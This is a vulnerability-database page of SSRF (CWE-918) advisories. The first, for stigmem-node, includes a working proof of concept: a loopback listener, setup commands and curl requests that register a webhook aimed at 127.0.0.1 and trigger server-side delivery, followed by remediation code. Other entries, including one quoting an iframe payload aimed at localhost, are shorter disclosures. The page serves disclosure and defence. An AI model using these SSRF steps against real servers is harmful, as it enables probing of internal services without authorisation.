GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5866 vulnerabilities reference this CWE, most recent first.

GHSA-5P3M-VHH6-9236

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-20 18:30
VLAI
Summary
stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address
Details

Summary

Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.

The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.

As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.

Details

Relevant files:

```text node/src/stigmem_node/routes/subscriptions.py node/src/stigmem_node/subscription_delivery.py node/src/stigmem_node/models/subscriptions.py node/src/stigmem_node/utility/net_util.py

SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:

class SubscriptionCreateRequest(BaseModel): target: str = Field(..., min_length=1) on_change: str = Field(...) delivery_address: str = Field(..., min_length=1)

The create route persists this value directly:

conn.execute( """INSERT INTO subscriptions (id, subscriber_identity, target, target_kind, on_change, delivery_address, idempotency_key, created_at, tenant_id) VALUES (?,?,?,?,?,?,?,?,?)""", ( sub_id, identity.entity_uri, req.target, target_kind, req.on_change, req.delivery_address, req.idempotency_key, now, identity.tenant_id, ), )

The delivery worker later sends a server-side request to the stored value:

with httpx.Client(timeout=10.0) as client: resp = client.post( event["delivery_address"], json=body, headers={ "Content-Type": "application/json", "X-Stigmem-Event-Id": event["id"], }, )

The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:

def assert_safe_url( url: str, *, allow_schemes: frozenset[str] = frozenset({"https"}), ) -> None:

This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.

However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.

PoC

Tested against stigmem-node 0.9.0a10.

Start an internal listener on the same host: const http = require("http");

http.createServer((req, res) => { console.log("HIT:", req.method, req.url); console.log("HEADERS:", req.headers);

let body = ""; req.on("data", chunk => body += chunk); req.on("end", () => { console.log("BODY:", body); res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify({ ok: true, internal: true })); }); }).listen(9999, "127.0.0.1", () => { console.log("Listening on http://127.0.0.1:9999"); }); Start Stigmem locally: cd node pip install -e . export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db" export STIGMEM_AUTH_REQUIRED=true export STIGMEM_HOST=127.0.0.1 export STIGMEM_PORT=8765 export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1 export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa stigmem auth bootstrap-key --key "$KEY" stigmem-node Confirm the service is running: curl -i http://127.0.0.1:8765/healthz

Response:

HTTP/1.1 200 OK {"status":"ok"} Create a webhook subscription whose delivery_address points to loopback: curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "target": "local", "on_change": "webhook", "delivery_address": "http://127.0.0.1:9999/ssrf", "idempotency_key": "ssrf-test-1" }'

Observed response:

HTTP/1.1 201 Created

The response confirmed that the loopback webhook destination was accepted and stored:

{ "on_change": "webhook", "delivery_address": "http://127.0.0.1:9999/ssrf", "circuit_open": false, "consecutive_failures": 0 } Trigger a matching fact-change event: curl -i -X POST "http://127.0.0.1:8765/v1/facts" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "entity": "stigmem://test/entity/ssrf", "relation": "test:relation", "value": { "type": "text", "v": "trigger webhook ssrf" }, "source": "stigmem://test/source/researcher", "scope": "local" }' The internal listener receives a server-side request from Stigmem: HIT: POST /ssrf HEADERS: { host: '127.0.0.1:9999', accept: '/', 'accept-encoding': 'gzip, deflate', connection: 'keep-alive', 'user-agent': 'python-httpx/0.28.1', 'content-type': 'application/json', 'x-stigmem-event-id': '', 'content-length': '506' }

The body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.

This confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.

Impact

This creates a blind SSRF primitive from the Stigmem server.

An authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.

Potential impact includes:

  • Internal service probing through webhook delivery success/failure behavior
  • Requests to localhost-only admin services
  • Requests to private RFC1918 network services
  • Requests to cloud metadata/link-local endpoints where reachable
  • Persistent SSRF because the malicious webhook destination is stored and retried

Even if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.

Suggested remediation

Apply destination validation at both subscription creation time and delivery time.

Recommended changes:

  1. For on_change="webhook", validate delivery_address with assert_safe_url().
  2. Prefer https:// only by default.
  3. If http:// is needed for local development, require an explicit operator-controlled allowlist.
  4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk.
  5. Disable redirects or validate every redirect target before following.
  6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.

Example patch pattern:

from stigmem_node.utility.net_util import assert_safe_url

if req.on_change == "webhook": try: assert_safe_url(req.delivery_address, allow_schemes=frozenset({"https"})) except ValueError as exc: raise HTTPException(status_code=400, detail=f"unsafe webhook URL: {exc}") from exc

And before delivery:

try: assert_safe_url(event["delivery_address"], allow_schemes=frozenset({"https"})) except ValueError: mark_delivery_failed(...) return

Before clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:

```text HIT: POST /ssrf user-agent: python-httpx/0.28.1 x-stigmem-event-id: ...

Kindly check this out: Eidetic_CVE_Report.pdf

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "stigmem-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0a11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:30:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nStigmem allows an authenticated user to create a webhook subscription with a user-controlled `delivery_address`. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.\n\nThe codebase already contains an outbound SSRF guard, `assert_safe_url()`, which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.\n\nAs a result, an authenticated user can configure a webhook destination such as `http://127.0.0.1:9999/ssrf`, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.\n\n### Details\n\nRelevant files:\n\n```text\nnode/src/stigmem_node/routes/subscriptions.py\nnode/src/stigmem_node/subscription_delivery.py\nnode/src/stigmem_node/models/subscriptions.py\nnode/src/stigmem_node/utility/net_util.py\n\nSubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:\n\nclass SubscriptionCreateRequest(BaseModel):\n    target: str = Field(..., min_length=1)\n    on_change: str = Field(...)\n    delivery_address: str = Field(..., min_length=1)\n\nThe create route persists this value directly:\n\nconn.execute(\n    \"\"\"INSERT INTO subscriptions\n       (id, subscriber_identity, target, target_kind, on_change,\n        delivery_address, idempotency_key, created_at, tenant_id)\n       VALUES (?,?,?,?,?,?,?,?,?)\"\"\",\n    (\n        sub_id,\n        identity.entity_uri,\n        req.target,\n        target_kind,\n        req.on_change,\n        req.delivery_address,\n        req.idempotency_key,\n        now,\n        identity.tenant_id,\n    ),\n)\n\nThe delivery worker later sends a server-side request to the stored value:\n\nwith httpx.Client(timeout=10.0) as client:\n    resp = client.post(\n        event[\"delivery_address\"],\n        json=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"X-Stigmem-Event-Id\": event[\"id\"],\n        },\n    )\n\nThe codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:\n\ndef assert_safe_url(\n    url: str,\n    *,\n    allow_schemes: frozenset[str] = frozenset({\"https\"}),\n) -\u003e None:\n\nThis guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.\n\nHowever, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.\n\nPoC\n\nTested against stigmem-node 0.9.0a10.\n\nStart an internal listener on the same host:\nconst http = require(\"http\");\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"HIT:\", req.method, req.url);\n  console.log(\"HEADERS:\", req.headers);\n\n  let body = \"\";\n  req.on(\"data\", chunk =\u003e body += chunk);\n  req.on(\"end\", () =\u003e {\n    console.log(\"BODY:\", body);\n    res.writeHead(200, { \"Content-Type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true, internal: true }));\n  });\n}).listen(9999, \"127.0.0.1\", () =\u003e {\n  console.log(\"Listening on http://127.0.0.1:9999\");\n});\nStart Stigmem locally:\ncd node\npip install -e .\nexport STIGMEM_DB_PATH=\"$(pwd)/ssrf-test.db\"\nexport STIGMEM_AUTH_REQUIRED=true\nexport STIGMEM_HOST=127.0.0.1\nexport STIGMEM_PORT=8765\nexport STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1\nexport KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nstigmem auth bootstrap-key --key \"$KEY\"\nstigmem-node\nConfirm the service is running:\ncurl -i http://127.0.0.1:8765/healthz\n\nResponse:\n\nHTTP/1.1 200 OK\n{\"status\":\"ok\"}\nCreate a webhook subscription whose delivery_address points to loopback:\ncurl -i -X POST \"http://127.0.0.1:8765/v1/subscriptions\" \\\n  -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"target\": \"local\",\n    \"on_change\": \"webhook\",\n    \"delivery_address\": \"http://127.0.0.1:9999/ssrf\",\n    \"idempotency_key\": \"ssrf-test-1\"\n  }\u0027\n\nObserved response:\n\nHTTP/1.1 201 Created\n\nThe response confirmed that the loopback webhook destination was accepted and stored:\n\n{\n  \"on_change\": \"webhook\",\n  \"delivery_address\": \"http://127.0.0.1:9999/ssrf\",\n  \"circuit_open\": false,\n  \"consecutive_failures\": 0\n}\nTrigger a matching fact-change event:\ncurl -i -X POST \"http://127.0.0.1:8765/v1/facts\" \\\n  -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"entity\": \"stigmem://test/entity/ssrf\",\n    \"relation\": \"test:relation\",\n    \"value\": { \"type\": \"text\", \"v\": \"trigger webhook ssrf\" },\n    \"source\": \"stigmem://test/source/researcher\",\n    \"scope\": \"local\"\n  }\u0027\nThe internal listener receives a server-side request from Stigmem:\nHIT: POST /ssrf\nHEADERS: {\n  host: \u0027127.0.0.1:9999\u0027,\n  accept: \u0027*/*\u0027,\n  \u0027accept-encoding\u0027: \u0027gzip, deflate\u0027,\n  connection: \u0027keep-alive\u0027,\n  \u0027user-agent\u0027: \u0027python-httpx/0.28.1\u0027,\n  \u0027content-type\u0027: \u0027application/json\u0027,\n  \u0027x-stigmem-event-id\u0027: \u0027\u003cevent-id\u003e\u0027,\n  \u0027content-length\u0027: \u0027506\u0027\n}\n\nThe body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.\n\nThis confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.\n\nImpact\n\nThis creates a blind SSRF primitive from the Stigmem server.\n\nAn authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.\n\nPotential impact includes:\n\n- Internal service probing through webhook delivery success/failure behavior\n- Requests to localhost-only admin services\n- Requests to private RFC1918 network services\n- Requests to cloud metadata/link-local endpoints where reachable\n- Persistent SSRF because the malicious webhook destination is stored and retried\n\nEven if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.\n\nSuggested remediation\n\nApply destination validation at both subscription creation time and delivery time.\n\nRecommended changes:\n\n1. For `on_change=\"webhook\"`, validate `delivery_address` with `assert_safe_url()`.\n2. Prefer `https://` only by default.\n3. If `http://` is needed for local development, require an explicit operator-controlled allowlist.\n4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk.\n5. Disable redirects or validate every redirect target before following.\n6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.\n\nExample patch pattern:\n\nfrom stigmem_node.utility.net_util import assert_safe_url\n\nif req.on_change == \"webhook\":\n    try:\n        assert_safe_url(req.delivery_address, allow_schemes=frozenset({\"https\"}))\n    except ValueError as exc:\n        raise HTTPException(status_code=400, detail=f\"unsafe webhook URL: {exc}\") from exc\n\nAnd before delivery:\n\ntry:\n    assert_safe_url(event[\"delivery_address\"], allow_schemes=frozenset({\"https\"}))\nexcept ValueError:\n    mark_delivery_failed(...)\n    return\n\nBefore clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:\n\n```text\nHIT: POST /ssrf\nuser-agent: python-httpx/0.28.1\nx-stigmem-event-id: ...\n\nKindly check this out:\n[Eidetic_CVE_Report.pdf](https://github.com/user-attachments/files/28415009/Eidetic_CVE_Report.pdf)",
  "id": "GHSA-5p3m-vhh6-9236",
  "modified": "2026-08-20T18:30:51Z",
  "published": "2026-08-20T18:30:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/security/advisories/GHSA-5p3m-vhh6-9236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/pull/726"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/commit/11637401d50629fef040382aee5af4571842c152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/commit/2ff5be29291d1c042e00d57c5f9ef93650cc90e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eidetic-labs/stigmem"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/releases/tag/v0.9.0a11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address"
}

GHSA-5P5J-JVXX-4R3V

Vulnerability from github – Published: 2025-06-10 03:30 – Updated: 2025-06-10 03:30
VLAI
Details

Under certain conditions, SAP Business Objects Business Intelligence Platform allows an unauthenticated attacker to enumerate HTTP endpoints in the internal network by specially crafting HTTP requests. This disclosure of information could further enable the researcher to cause SSRF. It has no impact on integrity and availability of the application.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-42988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T01:15:22Z",
    "severity": "LOW"
  },
  "details": "Under certain conditions, SAP Business Objects Business Intelligence Platform allows an unauthenticated attacker to enumerate HTTP endpoints in the internal network by specially crafting HTTP requests. This disclosure of information could further enable the researcher to cause SSRF. It has no impact on integrity and availability of the application.",
  "id": "GHSA-5p5j-jvxx-4r3v",
  "modified": "2025-06-10T03:30:29Z",
  "published": "2025-06-10T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42988"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3585545"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P7Q-VJP4-VCRG

Vulnerability from github – Published: 2024-05-22 06:30 – Updated: 2024-08-19 21:35
VLAI
Details

Server-side request forgery (SSRF) vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12 and Ver.3.0.x series versions prior to Ver.3.0.32. If this vulnerability is exploited, a user with an administrator or higher privilege who can log in to the product may obtain arbitrary files on the server and information on the internal server that is not disclosed to the public.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-30420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-22T05:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12 and Ver.3.0.x series versions prior to Ver.3.0.32. If this vulnerability is exploited, a user with an administrator or higher privilege who can log in to the product may obtain arbitrary files on the server and information on the internal server that is not disclosed to the public.",
  "id": "GHSA-5p7q-vjp4-vcrg",
  "modified": "2024-08-19T21:35:06Z",
  "published": "2024-05-22T06:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30420"
    },
    {
      "type": "WEB",
      "url": "https://developer.a-blogcms.jp/blog/news/JVN-70977403.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN70977403"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P98-WPC9-G498

Vulnerability from github – Published: 2020-09-04 15:21 – Updated: 2022-06-22 19:28
VLAI
Summary
Server-Side Request Forgery in html-pdf-chrome
Details

Recommendation

This package is working as intended. A Security section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.

Original Advisory

All versions of html-pdf-chrome are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as <iframe src="http://localhost" height="800px" width="800px"></iframe>. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "html-pdf-chrome"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:55:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Recommendation\nThis package is working as intended. A [Security](https://github.com/westy92/html-pdf-chrome#security) section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.\n\n## Original Advisory\nAll versions of `html-pdf-chrome` are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as `\u003ciframe src=\"http://localhost\" height=\"800px\" width=\"800px\"\u003e\u003c/iframe\u003e`. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.",
  "id": "GHSA-5p98-wpc9-g498",
  "modified": "2022-06-22T19:28:32Z",
  "published": "2020-09-04T15:21:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/westy92/html-pdf-chrome/issues/249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/westy92/html-pdf-chrome"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1339"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Server-Side Request Forgery in html-pdf-chrome"
}

GHSA-5PFQ-2C6W-69MM

Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-06-30 00:00
VLAI
Details

OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the parameter entryUrls.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-23T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the parameter entryUrls.",
  "id": "GHSA-5pfq-2c6w-69mm",
  "modified": "2022-06-30T00:00:37Z",
  "published": "2022-06-24T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34011"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/yadong.zhang/DBlog/issues/I5CB2A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5PFQ-GM94-5F9G

Vulnerability from github – Published: 2024-04-09 21:31 – Updated: 2026-04-08 21:32
VLAI
Details

The Gutenberg Blocks by Kadence Blocks – Page Builder Features plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.26 via the 'kadence_import_get_new_connection_data' AJAX action. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T19:15:13Z",
    "severity": "HIGH"
  },
  "details": "The Gutenberg Blocks by Kadence Blocks \u2013 Page Builder Features plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.26 via the \u0027kadence_import_get_new_connection_data\u0027 AJAX action. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-5pfq-gm94-5f9g",
  "modified": "2026-04-08T21:32:27Z",
  "published": "2024-04-09T21:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6964"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3019592%40kadence-blocks\u0026old=2996625%40kadence-blocks\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b01ad77f-2349-48bb-b4e9-f7cbce435de9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5PG5-2RP3-4HW8

Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03
VLAI
Details

The VerifyPopServerConnection resource in Atlassian Jira before version 7.6.10, from version 7.7.0 before version 7.7.5, from version 7.8.0 before version 7.8.5, from version 7.9.0 before version 7.9.3, from version 7.10.0 before version 7.10.3, from version 7.11.0 before version 7.11.3, from version 7.12.0 before version 7.12.3, and from version 7.13.0 before version 7.13.1 allows remote attackers who have administrator rights to determine the existence of internal hosts & open ports and in some cases obtain service information from internal network resources via a Server Side Request Forgery (SSRF) vulnerability.

Severity
4.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-13T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The VerifyPopServerConnection resource in Atlassian Jira before version 7.6.10, from version 7.7.0 before version 7.7.5, from version 7.8.0 before version 7.8.5, from version 7.9.0 before version 7.9.3, from version 7.10.0 before version 7.10.3, from version 7.11.0 before version 7.11.3, from version 7.12.0 before version 7.12.3, and from version 7.13.0 before version 7.13.1 allows remote attackers who have administrator rights to determine the existence of internal hosts \u0026 open ports and in some cases obtain service information from internal network resources via a Server Side Request Forgery (SSRF) vulnerability.",
  "id": "GHSA-5pg5-2rp3-4hw8",
  "modified": "2022-05-13T01:03:04Z",
  "published": "2022-05-13T01:03:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13404"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/JRASERVER-68527"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5PHW-3JRP-3VJ8

Vulnerability from github – Published: 2021-05-10 15:18 – Updated: 2021-04-14 15:52
VLAI
Summary
Server-Side Request Forgery in Apache Solr
Details

The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr-parent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-27905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-14T15:52:41Z",
    "nvd_published_at": "2021-04-13T07:15:00Z",
    "severity": "HIGH"
  },
  "details": "The ReplicationHandler (normally registered at \"/replication\" under a Solr core) in Apache Solr has a \"masterUrl\" (also \"leaderUrl\" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the \"shards\" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.",
  "id": "GHSA-5phw-3jrp-3vj8",
  "modified": "2021-04-14T15:52:41Z",
  "published": "2021-05-10T15:18:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27905"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0ddc3a82bd7523b1453cb7a5e09eb5559517145425074a42eb326b10%40%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r140128dc6bb4f4e0b6a39e962c7ca25a8cbc8e48ed766176c931fccc@%3Cusers.solr.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3da74965aba2b5f5744b7289ad447306eeb2940c872801819faa9314@%3Cusers.solr.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6ccec7fc54d82591b23c143f1f6a6e38f6e03e75db70870e4cb14a1a@%3Ccommits.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r720a4a0497fc90bad5feec8aa18b777912ee15c7eeb5f882adbf523e@%3Ccommits.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r78a3a4f1138a1608b0c6d4a2ee7647848c1a20b0d5c652cd9b02c25a@%3Ccommits.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8f1152a43c36d878bbeb5a92f261e9efaf3af313b033d7acfccea59d@%3Cnotifications.ofbiz.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r95df34bb158375948da82b4dfe9a1b5d528572d586584162f8f5aeef@%3Cusers.solr.apache.org%3E"
    },
    {
      "type": "WEB",
